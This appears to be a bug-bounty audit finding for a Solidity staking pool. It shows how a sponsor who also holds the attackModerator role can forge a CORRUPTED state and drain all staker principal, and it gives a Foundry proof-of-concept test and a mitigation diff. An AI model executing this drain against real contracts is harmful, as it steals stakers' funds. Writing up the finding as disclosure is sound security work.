FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

Sponsor = registry attackModerator; can forge CORRUPTED with no breach and drain 100% of staker principal to own recoveryAddress

Author Revealed upon completion

Description

// @audit sponsor = agreement owner = attackModerator; can forge CORRUPTED with no breach
// @audit ConfidencePoolFactory.sol:82 forces msg.sender == agreement.owner()
// @audit AttackRegistry.sol:793 sets attackModerator = agreementOwner
// @audit markCorrupted requires NO breach proof

ConfidencePoolFactory.createPool forces msg.sender == agreement.owner() at line 82. The BattleChain AttackRegistry sets attackModerator = agreement.owner() at registration. markCorrupted() is onlyAttackModerator and accepts zero breach proof: just the agreement address. The pool sponsor, who controls recoveryAddress, IS the registry's per-agreement attackModerator.

// @audit Sponsor forced to equal agreement owner
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
// @audit Agreement owner IS attackModerator (OOS dependency)
attackModerator = agreementOwner;
// @audit markCorrupted requires NO breach proof (OOS)
function markCorrupted(address agreement) external onlyAttackModerator { ... }
// @audit CORRUPTED gate reads registry state alone — same gate for all payouts
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
// @audit Auto-CORRUPTED backstop trusts registry unconditionally
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
claimsStarted = true;
// @audit claimCorrupted sweeps full balance to recoveryAddress — permissionless
uint256 toSweep = stakeToken.balanceOf(address(this));
stakeToken.safeTransfer(recoveryAddress, toSweep);

The sponsor can forge CORRUPTED with no real breach, then sweep 100% of staker principal + bonus to their own recoveryAddress via two paths. Slow path: after expiry + 180d, permissionless claimExpired auto-resolves bad-faith CORRUPTED. Fast path: the moderator, following §5's instruction, flags CORRUPTED immediately — no grace period. The only non-sponsor step is DAO approveAttack, which is indistinguishable from honest protocol onboarding. DESIGN.md §6 and §11 do not cover this: §6 assumes a real breach, §11 covers only the DAO-controlled registry pointer, not the per-agreement attackModerator.

Proof of Concept

The PoC below traces the full attack: stakers are withdraw-trapped after riskWindowStart seals, claimExpired auto-CORRUPTED fires after the grace period, the moderator's SURVIVED rescue is foreclosed by claimsStarted, and 100% of principal reaches recoveryAddress.

// PoC: test/unit/PocSponsorForgedCorruptedDrain.t.sol
vm.warp(riskWindowTime);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
vm.warp(expiry + 180 days + 1);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 sponsorBefore = token.balanceOf(recoveryAddress);
pool.claimCorrupted();
assertEq(token.balanceOf(recoveryAddress) - sponsorBefore, 100 ether + bonus);

Risk

The sponsor holds both roles by compile-time invariant (createPool forces msg.sender == agreement.owner(); the registry sets attackModerator = agreementOwner). The only non-sponsor step, DAO approveAttack, is indistinguishable from honest protocol onboarding. Every pool's sponsor IS its agreement's attackModerator.

Impact

100% of staker principal + bonus drained to sponsor-controlled recoveryAddress with no real breach. Scales to full TVL of any pool.

Recommended Mitigation

Gate the auto-CORRUPTED backstop on a sponsor-independent moderator attestation so a forged registry signal cannot trigger principal sweeps.

function claimExpired() external nonReentrant {
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
+ if (!moderatorAttested[agreement]) {
+ outcome = PoolStates.Outcome.EXPIRED;
+ claimsStarted = true;
+ return;
+ }
outcome = PoolStates.Outcome.CORRUPTED;
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!